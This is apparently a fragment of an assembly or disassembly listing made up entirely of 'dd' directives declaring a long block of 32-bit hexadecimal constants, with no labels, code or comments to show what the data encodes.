		dd 0D8C64200h, 24BE065h, 0CB48039Ch, 8986176Bh,	1AC13017h
		dd 14102C00h, 1C90A08Dh, 13901DDh, 208F0A5Ah, 0F91680F6h
		dd 19D07DCBh, 0A0A47527h, 0C071A120h, 7C75C179h, 950161BEh
		dd 8DE999BAh, 823E198Eh, 25C37D5Ah, 8BF2901h, 335C279h
		dd 9DB70FC4h, 0F2126D40h, 1E9DB8C0h, 3DE5917h, 237D3AF8h
		dd 33E9130Ah, 8E2186EBh, 7965A1h, 6FC76A9Bh, 7312B405h
		dd 8E1D8B75h, 0BA401958h, 7163484Bh, 944000DBh,	0B6CDBB8Fh
		dd 0F32A869Fh, 0C20694ABh, 0A6F487ACh, 0F97D1B11h, 0EBC0E105h
		dd 7052802h, 8576A4F0h,	808C7C08h, 0CB782CE7h, 0EF600574h
		dd 57F9B4A1h, 59C40F7Bh, 7F6DA48Ah, 9C689139h, 7379227Ch
		dd 30EB1200h, 0E4F64320h, 58190CB5h, 0A328F1DBh, 0E1B27700h
		dd 40F50A67h, 91DD008Bh, 455DD71Ah, 2402B5F7h, 70A5B104h
		dd 80508451h, 0E7B76E40h, 57000D29h, 7AB3AF9Ch,	7837464Ch
		dd 448B1D4Ah, 18C8E805h, 417B17B5h, 55009626h, 0A99054C5h
		dd 4BF2A9Fh, 0D0F28EC2h, 6E088049h, 191DC968h, 1CDBA5Ah
		dd 1CC5717Ch, 1784A5FEh, 0ABE19820h, 0B52D007Ah, 76413C46h
		dd 0A2EA31D0h, 0A5397460h, 3FBDE05h, 0BB6433F3h, 92E047E6h
		dd 0F91823D1h, 0E9297AFCh, 61F86012h, 51CCE057h, 301D5900h
		dd 9884CF5h, 8AB0A8AAh,	661175A7h, 0B89D111Fh, 9894B100h
		dd 6C13CE19h, 1D97CA1h,	0AD0CFC30h, 0D8BEFA62h,	58014676h
		dd 9C0321BAh, 29806805h, 2DBBF89Eh, 0CA00E347h,	786B5C02h
		dd 11E1B98Ah, 36328C2h,	0A541B77Ah, 12101862h, 0FE311939h
		dd 2D86AC00h, 0FF73572h, 0EA460EB3h, 9D2CC902h,	9C001D30h
		dd 0BE8A3BCEh, 12EE15Eh
		dd 52A2D6AFh, 80DD2537h, 12CEF70h, 98AE4319h, 7FB3000Bh
		dd 0A60341E8h, 13098A09h, 8534Eh, 0A22A3B28h, 3D747CF4h
		dd 607F3204h, 0B7D4913Ah, 4A0F5476h, 20B3F059h,	0E7262F33h
		dd 0CAC80380h, 0AB5CB664h, 0EBB5C901h, 699DFC2Ch, 0BA7F7882h
		dd 28A017E0h, 51C4CEA0h, 6126A3Dh, 0F3118D23h, 0B3DF20B1h
		dd 51B2A830h, 9AD7CEh, 95B4221Fh, 317B389Bh, 46875C02h
		dd 9012DA82h, 1FC3FD0h,	0FF090EFBh, 0EF3EE427h,	0C29845E5h
		dd 0B3BC3021h, 0E618A519h, 9920E0DBh, 671F001Bh, 149CB67Dh
		dd 39C0C4CFh, 0B735F301h, 4F8C0027h, 0EA28B71h,	920503C5h
		dd 531C919Dh, 691F86h, 63116E18h, 0B7B4A9FFh, 60067876h
		dd 0B043B665h, 6D7D0CD1h, 8961DA25h, 34039401h,	87FC405Ch
		dd 61B8A4F0h, 4DB651A9h, 211C44A8h, 0BE2F6DDCh,	7FAC01B9h
		dd 8B608DBCh, 3980B6C5h, 71C77DA0h, 79E2DD15h, 0D7D3FA00h
		dd 0A1A84956h, 47B50912h, 3C2465D9h, 9C37406Dh,	9F767DEh
		dd 2D0CDAA4h, 0A9C1C781h, 5F823A5Bh, 2908090h, 308C7638h
		dd 0D71B18Bh, 7800C1D1h, 74B011BEh, 25B4C5h, 8BFA850Fh
		dd 12404234h, 3B695760h, 43C4ECh, 764636DCh, 418C0C2Eh
		dd 0B61F6301h, 0C2A35552h, 2AB513D8h, 2980A65Ah, 6B4E4A4h
		dd 19AA48B6h, 0D0669308h, 0A7013CDCh, 2D4DE415h, 0A118E385h
		dd 0CF39B48Bh, 72CA0018h, 983C847h, 0E1015B8Eh,	0EF126EFEh
		dd 0E08C97C7h, 1031B78Bh, 1A7D39E0h, 88240800h,	4DC0E566h
		dd 0B4BE0FECh, 5E69992h, 800D96Eh, 41FF8F9Ch, 7645CEh
		dd 4F11235h, 9A0EDF84h,	58421A0Eh, 0CA660465h, 0FCE408C0h
		dd 946849C3h, 59EF0178h, 0A84846F1h, 9AD050DAh,	0C200079Fh
		dd 0C03A2F1Eh, 30986F3Bh, 0E79652DFh, 26297210h, 8480B0DEh
		dd 20C4446Fh, 7C291CB9h, 6C24C078h, 8CE4935Fh, 47AC6401h
		dd 11EEE32Ah, 27C2A450h, 241C261h, 0B09141B6h, 3F89BE12h
		dd 0E0EAA42Eh, 7D40B400h, 7102804h, 464FF651h, 9AEE8014h
		dd 589245C1h, 0BEE60200h, 407B73B0h, 74DF1226h,	418800B1h
		dd 0D178F4C2h, 4574DCA4h, 0A3663614h, 0A8AA128Ch, 2C829820h
		dd 6AD03CFAh, 3CD43782h, 0E841F3DBh, 0AD8B1153h, 2B27D850h
		dd 20A5005Bh, 0FB4AC5BCh, 152416B8h, 6498F8B1h,	1514129h
		dd 0C6B4CFFCh, 0C8BBE37Fh, 32480325h, 80ED1134h, 0A1B5D018h
		dd 520E416Ah, 20C6281Dh, 0D8BFF214h, 300F0082h,	4B1F9BD5h
		dd 48065658h, 44B66669h, 0F150C439h, 58A040A8h,	0F88A2EACh
		dd 7CACA405h, 6B180063h, 0E4612668h, 8201CF4Bh,	60401CC4h
		dd 3E70A9E9h, 0E7070ACDh, 6BC0AFFh, 6101771Bh, 3AAE522h
		dd 0AC2F421h, 0C122BD37h, 0BF3400C4h, 0EE5980FCh, 0FDFC91E3h
		dd 262A2309h, 2DE41822h, 185F0094h, 2CAA8D98h, 3700A192h
		dd 0B4ED5090h, 6AA65Eh,	7271395h, 0CDCED716h, 0E1E32303h
		dd 9C553F8Ch, 3FDDCCCh,	0B1C8589Eh, 0B790B441h,	3007C9E3h
		dd 0C26ED392h, 0B8427054h, 6EE0609Ah, 83181F45h, 6D917A8Bh
		dd 0DDE0F52h, 0BFC74DB4h, 9B4280B1h, 68027A97h,	570867DBh
		dd 0A418C1EBh, 0C290CF13h, 5D000E3Fh, 0FEB308CBh, 704914h
		dd 5609727h, 9F39A8D2h,	0AAE66D00h, 0E106A52Ah,	2864127Dh
		dd 0A47C20A9h, 89C07EE7h, 41AC604Fh, 0C7A82ABAh, 0CDA500DCh
		dd 0A6F34980h, 290116A9h, 0C7D6F287h, 3980AE8Dh, 5755DB91h
		dd 85A3CABh, 0B85B13ACh, 0C2484Dh, 0CE1C87Dh, 0A096C1CCh
		dd 35D8ECCh, 0EC583D01h, 63980E27h, 953E1E3Fh, 501F4C2h
		dd 4EB6997Bh, 0E9E8DF59h, 9F66666h, 3900218Eh, 0F1704ECEh
		dd 19BBADh, 0F45887C5h,	0C312F57Eh, 8C296B60h, 6C079CEh
		dd 789085A2h, 603B2073h, 6800F0A9h, 5C1D118Ch, 3B71E76h
		dd 0E265A61h, 0E5C0797Bh, 0BB12B545h, 0F4063594h, 30082D8Ch
		dd 0D0207AE2h, 0C400B49Dh, 0B1173CB6h, 0D73134Bh, 91AC9051h
		dd 5499E68h, 2DCF0CBAh,	19B1166h, 0E9A45D4Eh, 0C909E231h
		dd 0A0089829h, 262221h,	68601C5Dh, 0B108AC3Ch, 5B40DEDFh
		dd 0DC63E51Dh, 0F50A0528h, 48E6E3DEh, 0BBC0A0A0h, 46DF5C4Eh
		dd 59A22AAh, 0AB4EB32Ah, 6C8C0487h, 1B7C0072h, 7A016B0h
		dd 9805A468h, 79303CC1h, 0A7A6FE00h, 8DA1874Ch,	0C99F1D5Dh
		dd 21F51886h, 0A7009EDDh, 350F8A3Fh, 3C2C9918h,	0D207142h
		dd 0E7DA1E0Ch, 50078173h, 0E280B852h, 0C4D75095h, 0BCA10396h
		dd 597DAB12h, 154AEA90h, 0C0B4B312h, 1752AB00h,	76D448A2h
		dd 46D55853h, 0B180713Ch, 0BB442A0Dh, 8500C362h, 0A3178A1Dh
		dd 1D60577h, 0B827E920h, 0D0911068h, 693CE82Bh,	17D8067h
		dd 2EC4765h, 6344746Dh,	5F50213Ch, 255462A8h, 0CE725100h
		dd 0F629ED34h, 0BDFA0011h, 0E89F788Ch, 2B0D9689h, 38AFA87Fh
		dd 246ED8E0h, 3BD3E25h,	673175CCh, 0F8B3081Bh, 2557C820h
		dd 323B0E8Bh, 1938A1FFh, 0D2787DB1h, 7F63A58h, 142FB7E4h
		dd 0DACC76C0h, 0E56D0157h, 21A9CD6Fh, 0A918F3E9h, 0CC419DBAh
		dd 8C29075Bh, 2322C2F1h, 40B07FBEh, 1F260DA5h, 84229B76h
		dd 663C6946h, 5D018288h, 4F473EC4h, 51D9525Eh, 0BEE18080h
		dd 22803081h, 500660B0h, 9F013F0Ch, 0F90860C0h,	0E430DC10h
		dd 0CF0716CAh, 68CC04C0h, 3EFC80F2h, 0F30FEC38h, 40DC4FC6h
		dd 42E05725h, 9E1D00F0h, 517F2CD2h, 67006536h, 0A1793AD4h
		dd 72839515h, 30F24Dh, 8AED57D8h, 25C78F9Ah, 0E120C200h
		dd 0FAC1236Dh, 8D031D89h, 0F62A013Bh, 71754E76h, 0EC98E435h
		dd 0E9D95303h, 8882200Ah, 3F8F7BC5h, 764FD6h, 9030C36Fh
		dd 406777BAh, 48ADCD06h, 0F31EBD9h, 9FB00724h, 66A1CB20h
		dd 9723145h, 808A783Ch,	0A303E8DDh, 806A6FC8h, 80307A6Eh
		dd 81F81869h, 2448C0F7h, 7205DB78h, 0A9D48400h,	0A364F0DDh
		dd 0D2C50012h, 0D6ABF0Bh, 0F41E6C3Fh, 0E483B359h, 0E7C00FACh
		dd 1D197786h, 0CD2C9063h, 0CCA60652h, 7BF827D0h, 6B25A107h
		dd 0D171C924h, 90F04769h, 0E7F83886h, 0F6EB9B0Fh, 78404522h
		dd 0E0C59AC1h, 0B0B8EF9Fh, 0FD0021E2h, 0DDA55938h, 18A90B68h
		dd 0D0F26A78h, 0F40E49F7h, 0B1F13244h, 0C50CFA00h, 201157B4h
		dd 1909F603h, 0C86B98DEh, 1EC97B0h, 0A9D86EDFh,	0C041EB88h
		dd 6200FE4Ah, 0E3CFBF2Fh, 3229744h, 90E6B8CEh, 11464BD1h
		dd 0F880E004h, 310D698h, 5A68D103h, 9FF0E90h, 7F662300h
		dd 80C54326h, 0B4F703B5h, 0DFD4BC4Bh, 792A2922h, 88AE04BFh
		dd 0C7F75649h, 517220E9h, 0C700F818h, 14C1531Fh, 9C49D3h
		dd 0E3D244DDh, 6CBE02D9h, 36B8EB01h, 0CE5F3DBFh, 117B860h
		dd 0CF901D9Fh, 0D48D9D42h, 3F120F0Dh, 0D900F534h, 35FE197Ah
		dd 1E02FAFCh, 7074175h,	0E047AEA5h, 5EE7619Bh, 0DA10F860h
		dd 1896FCh, 784A3EACh, 6CA83F5h, 0B5A990Fh, 93310089h
		dd 78AF96CBh, 0A19C0FF7h, 0A380330Dh, 98275EE8h, 83F32200h
		dd 284EAD72h, 0DF460073h, 3AD82471h, 4000064Fh,	0EFAA82C8h
		dd 0EC742Bh, 9769D33h, 3BE45CE1h, 0B342B926h, 550DF900h
		dd 657B56h, 88D12EC1h, 9AB3A2F4h, 0EF255C00h, 71E861A9h
		dd 0B6C90069h, 0A23B1D30h, 513BC38Eh, 802B3847h, 1F19DCBBh
		dd 9F65DFh, 676A1185h, 90746188h, 9C27D700h, 0F80E447Eh
		dd 3D990579h, 0AF391320h, 72A12987h, 0DB20F297h, 37800DEh
		dd 886DEF11h, 0B948CFFCh, 92E0000Ch, 0E31F73FBh, 70AC0414h
		dd 0EA063C2Dh, 74D4FB80h
		dd 7030023h, 0F84926Eh,	983CDAEAh, 0CBC800BBh, 0E49F3F75h
		dd 7E6F22Ch, 0CD391D58h, 4E02F0A6h, 0AD003380h,	0F740970h
		dd 0B6EFD5h, 15782A05h,	996B7543h, 0E7003CEEh, 33F398F0h
		dd 357367Dh, 0D46CDF47h, 0F2B0A7F5h, 66003CDBh,	8835C8CDh
		dd 840F96h, 706F234Ah, 0A8150554h, 0D0573Dh, 666144E2h
		dd 7D1F22h, 76DC9606h, 7C423D3h, 8569E900h, 0F2CB8DB0h
		dd 0B9C300FEh, 7ADDCA28h, 0B0087B2h, 2760813Fh,	0E8ACCC66h
		dd 49B815h, 63974EB9h, 0A2E162F1h, 46318400h, 5AA9DD85h
		dd 90A70007h, 44CB5567h, 0B901E57Eh, 6B5FA3AAh,	18801D49h
		dd 93FCD069h, 0A01F716Dh, 16806EBDh, 94290438h,	357D003Ah
		dd 0A4564524h, 7507D934h, 1950137Ch, 6B08A770h,	0E19D1853h
		dd 247BC063h, 0BCF5E00h, 6D4D2D18h, 845B00CDh, 53794E6Bh
		dd 0CE07C883h, 0BCD9B5F2h, 6F495EC0h, 0CD69006Dh, 3DC571D6h
		dd 0C900E72Bh, 99412AE5h, 0A052C3h, 18BB4ECAh, 29EF8D3Ch
		dd 5DAA6103h, 0D8E7E3C7h, 63C990h, 59E6CCDEh, 4075A394h
		dd 77AF5700h, 0D60745ACh, 0CB8E5C74h, 300E7D00h, 84ED3873h
		dd 2A8A500h, 9E09AD8Dh,	8BCA05EAh, 41D83E7Ah, 630C1AC8h
		dd 913ACC40h, 316EF400h, 543EE183h, 447118FDh, 5E25E120h
		dd 640086F8h, 7E904697h, 0E6F077h, 9BD8C74Fh, 4849C19Ch
		dd 0F16F48h, 0E9C9D492h, 1F657D61h, 0C03DEFE2h,	0B807EDBCh
		dd 0C718968Fh, 0EB20E6E4h, 0D0F8A32Dh, 75D36Ah,	5B02A34Eh
		dd 68CA6FA0h, 2EC8E250h, 21B0830Fh, 664FC0AFh, 1A1F3D9h
		dd 0CABF0A95h, 0CCCE26CFh, 4D0FA0A2h, 4103E25Ch, 0E059755Fh
		dd 0E102E770h, 4453ECh,	0EED32A11h, 6F26B3C8h, 91C7F101h
		dd 9936C683h, 3E277BCCh, 0E13AF5E6h, 603EFD00h,	0FCB5BD75h
		dd 783B8C0Ah, 7000C1C1h, 46C718CAh, 6CDE007Ah, 98D2AE43h
		dd 0FE00A1B8h, 1A747EA8h, 3C0B7C4Dh, 3F178488h,	0D44300E2h
		dd 4ABF0E52h, 916BA0Fh,	0CB49E0A7h, 0EAB9CFAh, 0EAA53644h
		dd 809D3FA7h, 68715624h, 98C56700h, 99D1E9DBh, 1805007Eh
		dd 8F475813h, 0E878AAA1h, 0DBB4710Eh, 98A70072h, 5C5B1495h
		dd 4307B3EEh, 40F625C6h, 6331DB9Bh, 0F8B20A00h,	7C4A53F4h
		dd 6ED200B5h, 8A548C94h, 7D00C429h, 7087374Bh, 6921CEh
		dd 9D88ACEBh, 35C27E27h, 1497FB1Dh, 8008D58Bh, 5B4B3CB7h
		dd 0E9D6005Fh, 229BC7FCh, 0D9070A30h, 278EC34Fh, 0AF7BDCA1h
		dd 13B6B0D8h, 0A5D601h,	94E95658h, 6498EC46h, 613D301Eh
		dd 0CE1B440h, 56487Bh, 51161B55h, 0C3352098h, 0AC76A002h
		dd 83AE17C2h, 0E8B356FCh, 0BCE52Fh, 0D89DF43Bh,	0C366581Fh
		dd 260018F6h, 30098D47h, 1D2288F8h, 4FDBBC77h, 74801236h
		dd 93FF106Bh, 8F04451Ch, 3FA78241h, 19E869FBh, 64390325h
		dd 3B12FCEDh, 0D35FA8A0h, 9860D90Fh, 277CC0DCh,	32B11C1h
		dd 829F0B02h, 8B0A5B4h,	92012C1Eh, 0C5EB8099h, 0F0D7DD25h
		dd 9341591h, 4B03F988h,	9DCB6C20h, 8498739Ch, 0D5425202h
		dd 43C4C20Dh, 4B42BFE0h, 0D2B8C0F4h, 5A850758h,	6025325Ch
		dd 43EE4135h, 91A93Eh, 6D3EB1FBh, 0EB2376h, 0C1302D88h
		dd 0C8F65638h, 591D7400h, 422A13DEh, 505A0051h,	35B1378Ah
		dd 0A14C04ADh, 0FF660027h, 2C01C082h, 0F0090F8Bh, 6BA00674h
		dd 0B9995CD7h, 0AFBC4100h, 9538AE26h, 9C2118D9h, 0F51810AAh
		dd 0E23A3CFAh, 6000F38Ah, 929BD19Fh, 1C1D259h, 0BB4F8FBEh
		dd 3022BC7Fh, 26007DC4h, 3AF26461h, 0DAF774h, 898BDFA2h
		dd 0F42E097Eh, 5F20E309h, 21588067h, 51EB3BCh, 0AA03D141h
		dd 0F45DC070h, 0C7003ECDh, 1281B8A1h, 13237Bh, 6E3D83Bh
		dd 0F932FD98h, 8A118B00h, 830A8C2Eh, 9DF21C25h,	0A5EA8056h
		dd 0CDF5154Eh, 0A8D11F39h, 1BEAE918h, 0D3CC7900h, 0D4AE0373h
		dd 2D33181Ah, 0E3E68886h, 8C9548h, 0CD122785h, 0E8FA2649h
		dd 0F88E304Dh, 0CEEA2518h, 0B005F5F1h, 34332011h, 84A80040h
		dd 8CF565F3h, 0DC00FD17h, 3F3D4DC1h, 0D8336Ah, 0EB93D9E6h
		dd 80058387h, 0D36FC000h, 7AFAC821h, 58729Eh, 3F1A7E8Eh
		dd 4CDF9FCh, 0B3FB5500h, 0BA6FDF77h, 0A049EEEAh, 0AA2640Ch
		dd 2EE605F4h, 0E9833D5Ch, 5D2654CEh, 0C8D31E2h,	0F0740588h
		dd 0E0001BAh, 692451D7h, 79523DDh, 49ECDBA0h, 3AA3F006h
		dd 971CE664h, 9180555Fh, 56868CB9h, 1CE799Ah, 0F10B12A7h
		dd 0DC2E99A0h, 20E98FD0h, 39001726h, 375D6E98h,	0FE4F89h
		dd 0D84093E0h, 5F017E32h, 0DFD43F60h, 769A65F2h, 31BA00D1h
		dd 116398C3h, 6C165A76h, 68424DC9h, 0E3CAEF0Bh,	0CB09A0AFh
		dd 0E62C005Eh, 770AB2D2h, 0BB03263Ah, 0FD7DC066h, 11E01884h
		dd 0E56908FAh, 4900F279h, 4231BDB6h, 4C2E6Ah, 0EFCE2C73h
		dd 54B7E37h, 6F1C95FEh,	64C0BE34h, 0B082D48Dh, 0D31E4D3h
		dd 0EE118C14h, 7A90DC51h, 0A04B1E00h, 0FA95C3D2h, 0F0A9C3F7h
		dd 290083AEh, 0F9E1FC7Dh, 47D105h, 7735FDE2h, 141C536Ch
		dd 680302F4h, 0FCFA31E5h, 2F6EE176h, 0F86D1FE4h, 8226006Fh
		dd 2BB0FFF3h, 5300544Eh, 0EFEAD0E8h, 3E4DD1E0h,	3C1810A6h
		dd 2C90195Fh, 0E6887A0Eh, 656E219Ch, 8E5BF85h, 24F4B024h
		dd 4004A304h, 4099DD80h, 0A561F7F2h, 717A18B1h,	0DAA6C8h
		dd 0ACF31AF6h, 0FB94A743h, 0B0E3412h, 21D2440h,	397A9Eh
		dd 0B69A5255h, 63A5C28Fh, 3765250Fh, 0BCBBC0F8h, 9510D92Bh
		dd 3600A7D8h, 0A2A9E907h, 3DFA1ABh, 0A3E3B248h,	528911ECh
		dd 7BD860C2h, 0F23FCD1Dh, 6210F18h, 0D7110748h,	0A1C26487h
		dd 0F0E673CAh, 5900494Ch, 0EA8FAB5Dh, 5BDCBA9h,	51439D5Bh
		dd 0D0FAC7CEh, 484A61E3h, 4C674D90h, 0BA500350h, 77940A8h
		dd 92CCF9Fh, 21FA4696h,	0B900ED7Ah, 0D80ECE9Bh,	3EB03FEh
		dd 64DA093Ah, 0C6B19A20h, 442DD0B4h, 674CA1C0h,	0C03B7552h
		dd 0F336B178h, 44030E82h, 253CE2DCh, 52B10776h,	20D26750h
		dd 0FF49DB99h, 0B808906Fh, 9F3F49h, 5F8E0D66h, 63AC7DCAh
		dd 0B20CF3F4h, 60401964h, 3EC0004Ch, 0AC1E1150h, 1B1FAB7Eh
		dd 0EB8B48F9h, 0B9FF83F7h, 41E0E708h, 27E789h, 351D463Ah
		dd 0B0C140Eh, 601E47Dh,	0DE67B66Dh, 0B1718618h,	1EDADBD4h
		dd 805D697Fh, 3DB2BF2Bh, 66007AA3h, 12AB041Ch, 90AADBh
		dd 0E5A70A5Eh, 35CE1A4Dh, 2900B57Ah, 347D628Dh,	6B533Eh
		dd 84090E45h, 0D04166F4h, 3BCD1C00h, 3D4CE1A4h,	27CB3ADFh
		dd 93A3007Dh, 0AE748FFBh, 0F619AA09h, 3C08F9A5h, 3F12180h
		dd 6C9EFD8Fh, 0D5296200h, 0ADF0CB7Ch, 83F9008Eh, 0A357344Bh
		dd 43749503h, 0A13D3300h, 0C9057472h, 365A189Fh, 991509C4h
		dd 0B30120C0h, 0E647473h, 0C9B2801Eh, 4E404703h, 453AAAC8h
		dd 742FAE1Fh, 1831A40Ch, 901667B7h, 0EE0DC07Dh,	10C02EF2h
		dd 0DA780743h, 59BB0C60h, 0B4091C45h, 0FF6321C0h, 73E70A77h
		dd 6A15031Ah, 80E8DE7Ch, 8CF4B841h, 31E1A26Eh, 98940EA3h
		dd 301ECCCBh, 0D4E66718h, 0ED7442E9h, 8746030h,	5B0FC917h
		dd 34A1864h, 776F0084h,	0A486C18Bh, 922FAD0Ch, 1FD0414Dh
		dd 8085A0FFh, 7EFE1327h, 2A28CA99h, 92308052h, 0A05D294Bh
		dd 0C5E80055h, 148177B0h, 0A00FEFFh, 0B2CA9A41h, 0FD2FAB20h
		dd 5FFDF4h, 409DCD07h, 28600CC2h, 0E3349700h, 50DF58FFh
		dd 0EC2E00F6h, 1B6F0E41h, 1400F14Ah, 182BD8FEh,	7A443474h
		dd 19CE4C54h, 163E4000h
		dd 0D61D53F3h, 15805A00h, 0A7B06287h, 97930031h, 2FCF45A1h
		dd 2301F38Eh, 43C69BA4h, 3BCCC29Dh, 0AF7D0729h,	0A78CBF7Ah
		dd 7F416C53h, 4E008BECh, 0D84659E1h, 5CFFB4h, 9628B6E0h
		dd 0B9BEAC62h, 0D9524707h, 0C003A586h, 2D2AE089h, 24FB1DF6h
		dd 7F0F8051h, 4959FE04h, 0FF36570Eh, 182EC626h,	22A10019h
		dd 0C2052B4h, 87000189h, 0BB86C073h, 0ED791C2Ah, 0F45F2FCh
		dd 6CFB9269h, 0B9B07FE0h, 28C08883h, 80908EDBh,	67511845h
		dd 4315988Ah, 98B76B01h, 9DB6DB8Fh, 53E42181h, 0E1CC82A5h
		dd 2C944877h, 5A031206h, 0E610164Ah, 0F73F00FEh, 79731C41h
		dd 7A0093E8h, 65B219A7h, 3BF3323h, 8E89DB0Ah, 78584B53h
		dd 151C7664h, 0C2C0DA56h, 18CA9420h, 0AE6D014Ch, 3187FB27h
		dd 8CDFF0F8h, 2C968A00h, 0FD2E1845h, 0E8650FEFh, 0B467D16Ah
		dd 2604A136h, 3B44E4ADh, 57307B06h, 4178F8h, 9BC516A0h
		dd 430176DAh, 9C304F3Fh, 92805414h, 2FA4778Dh, 0F4A728A2h
		dd 37F5029Eh, 30828EECh, 0F9D5BEC0h, 770020E2h,	7C7990Eh
		dd 947B71h, 1F84A2AEh, 4428DBBh, 7CCE95Ch, 34D9FC82h, 1EB9F4B0h
		dd 88776093h, 398D6A1Fh, 0C3D40C1Ch, 26C71D3Eh,	359CD3C0h
		dd 804CFh, 6F75E213h, 0CE4E7A8Bh, 81A7E407h, 3916E7EBh
		dd 797CD8h, 8718571Eh, 4A40BA43h, 0C1065E7Fh, 0E9FE28DBh
		dd 29AC0040h, 0DF7A7C90h, 3006835Ah, 0AFD1487h,	0C7310AC9h
		dd 9B90930Ch, 16E009D4h, 0E000320Fh, 6522D3A3h,	13A7BBh
		dd 6AF21ABAh, 0FDF13992h, 90030418h, 0C26F49h, 60CD4B37h
		dd 837A675Dh, 0BA06F1D3h, 90DFD3h, 0D5C009A4h, 7721F9BAh
		dd 3532C203h, 0F00A9E8Ah, 3B930FDAh, 0DD80581Ah, 813E52DCh
		dd 9F034B66h, 4F4EE4D4h, 0F6C39C2Dh, 0EC9BE0B8h, 0E7F8E2h
		dd 0F404FCFEh, 19EF3AF3h, 226E540Fh, 0BBD7E04Eh, 0E8CE8B76h
		dd 0AF21C0FBh, 0C6B86ADDh, 0B60BA80Eh, 7FB96EFEh, 233A96C3h
		dd 8D41CFCBh, 0EFDFDDF9h, 4F384Ch, 6F8F09D3h, 6E37F2E2h
		dd 72EBB23Ah, 0BB3121C0h, 6A4BD0Ah, 0E20C106Bh,	0F90371F0h
		dd 512C3BA1h, 10A6C9h, 0DDA5A693h, 0F518984Bh, 8F77831h
		dd 20873422h, 0D0A5FD8Eh, 4EDD5C88h, 3F0DA718h,	203A30F8h
		dd 0F858E3E7h, 18BB3035h, 30C4ECF5h, 0F3402DFFh, 340020DAh
		dd 151FBC91h, 74F7B0D2h, 21E46114h, 0CC3429EDh,	4E018FCBh
		dd 3945196Dh, 7BF4501Fh, 0C0166CA4h, 28C21B8h, 4BD8A591h
		dd 20191790h, 0A5C98D10h, 0B0C73BEDh, 0E51C4321h, 3B79050h
		dd 2F70076Ah, 58FECFB1h, 0DA88C40h, 0A2C8C0EAh,	0AFFAF65Ah
		dd 0C8A004FAh, 210B3674h, 8046D710h, 0EC39E804h, 0D894006Fh
		dd 0BB7F4E95h, 7D00C6C9h, 3D547A46h, 7A98593h, 9B3A1EFDh
		dd 91F200Eh, 0C5001C80h, 6E34A625h, 850FB3h, 37DEDBBCh
		dd 944E5BDCh, 0B5B97200h, 7FCD740Eh, 47A70161h,	3FD17AB8h
		dd 5616E436h, 3377D900h, 0D70FC593h, 73E4078Bh,	43E543A0h
		dd 2000483Ah, 0AFC65BD6h, 0A4CF59h, 0F510E47Dh,	7CF969CEh
		dd 52F74900h, 641F0912h, 137730B1h, 1F4D758h, 0CE63FC07h
		dd 0D8530523h, 1AE3A118h, 0FDBD2080h, 0C17DF01h, 0C19F9D07h
		dd 0E193F3Eh, 13789806h, 7EF71987h, 0D02C8969h,	1200C44Ah
		dd 418DFCEDh, 11042C2h,	753B0B8Ah, 0C4FB1ADAh, 1F03C07Ah
		dd 0A3FCA916h, 0CD58187Eh, 7727780Bh, 0C0CFD8B5h, 550FB9A9h
		dd 0B3068F87h, 0B8587CA7h, 0B7008h, 8B4BEB23h, 0A331CC65h
		dd 223E6401h, 0AC8DBEA6h, 0BBA340FAh, 0EC4D0C68h, 0DE30FB0Bh
		dd 0C927B400h, 9E62FFDCh, 4E3D0512h, 0C3FB19ECh, 297101A3h
		dd 0A465A300h, 0CF373F7Eh, 0DC09CA86h, 7E31403Ch, 121E3BE2h
		dd 0F080F525h, 0BC069138h, 63E400A6h, 0E687B2C8h, 10C49FAEh
		dd 4B00AC50h, 46B8F75Fh, 0D3C43Dh, 1B05D630h, 0DCC385h
		dd 60EF5172h, 0BE1457A8h, 37B13900h, 0A3CA4B98h, 63F100BAh
		dd 0E4B7D6DEh, 0C00F1A1Ch, 80BD8254h, 0B83098A9h, 0B61D01B5h
		dd 3B7B87FAh, 36C7303Ch, 800CC33Fh, 82538B15h, 0DAF895h
		dd 70C43844h, 55C39EC2h, 4837D107h, 104C9950h, 0FBEC00E3h
		dd 9F8A38B8h, 0F23A036Ch, 21A6309Eh, 9FBE4C2h, 5294E984h
		dd 158DF780h, 0BE00DE36h, 2FB291F1h, 0D34B0B8h,	82551679h
		dd 0A083D088h, 5A6F4AE8h, 81D60049h, 6BEDCAEh, 0B5B70C96h
		dd 2960087Eh, 0AB49F121h, 0E4755Fh, 0EB1D1782h,	0AE87F88Eh
		dd 2C74DA18h, 0EE4145C8h, 34A101FCh, 1FF25889h,	364080BCh
		dd 0EB3EB7A3h, 97B40645h, 82C2E33h, 7821B960h, 435A22h
		dd 0FF0ADD31h, 0B4A699Eh, 0B667E6ECh, 0C12C4EC8h, 0F18F2EF9h
		dd 0B4C80000h, 88EE4F09h, 0A14A5804h, 0FC808646h, 5698F4h
		dd 0BBFA2802h, 2EE6757Fh, 6504DD00h, 0E2115A45h, 699C00CBh
		dd 56CFC6C7h, 0F5003C0Bh, 0FA1BD9E9h, 967B6Fh, 0D321D5AAh
		dd 3883F7E8h, 0FFAC0D00h, 23688250h, 0DDDCA045h, 91170E73h
		dd 70A04E29h, 0DCE99CAAh, 10C44200h, 9F55A40Eh,	5B8A00D1h
		dd 0CD79EAE2h, 710081FBh, 2C61E9DCh, 0E6568C3Ah, 2590047h
		dd 0E8549D86h, 950774Fh, 87020DC9h, 0D2CB658Eh,	339F6052h
		dd 0F799001Bh, 0AB3D49B5h, 54055C8Fh, 0BFAC7FC5h, 0C503CE12h
		dd 0C814BE27h, 1AFB1F5h, 0A31BB71Dh, 0E0FDEF67h, 343C68C9h
		dd 943380EEh, 965FF336h, 0FEAB00E7h, 45B331BDh,	6A00DE49h
		dd 0D177AED4h, 6E411F4h, 75FFB6F6h, 3500287Ah, 0C5B71647h
		dd 609156B2h, 0E56440BBh, 8501C7EAh, 8FB584A3h,	0C0C5AC86h
		dd 0B4FE9080h, 90B75719h, 0A6FD2600h, 3A234F1Ah, 0E70448F0h
		dd 37544D0Fh, 9162C174h, 3EC05DA9h, 0E901C3D0h,	608BCE3Eh
		dd 0B7E8B303h, 0C6AA0072h, 2CBB3631h, 0C5605FE3h, 1FCB3E10h
		dd 97FE5h, 704E7F91h, 0EE2EF823h, 0B525A618h, 947D88h
		dd 0D9BB9B10h, 4E012B11h, 0F372C05h, 0F1C3A9A8h, 1F20C8FEh
		dd 19C807B2h, 0DA6A7FBAh, 528100B9h, 0E23772EDh, 55D05C00h
		dd 2FD79C48h, 641700BBh, 0E3872E29h, 0D50054C9h, 2C204C1Bh
		dd 606AF850h, 0EC93BA9Dh, 0C9006B15h, 661FEA82h, 0F001D01Eh
		dd 0FCD47FD5h, 0A802447h, 0D1100FC2h, 38A6DF20h, 670D921Fh
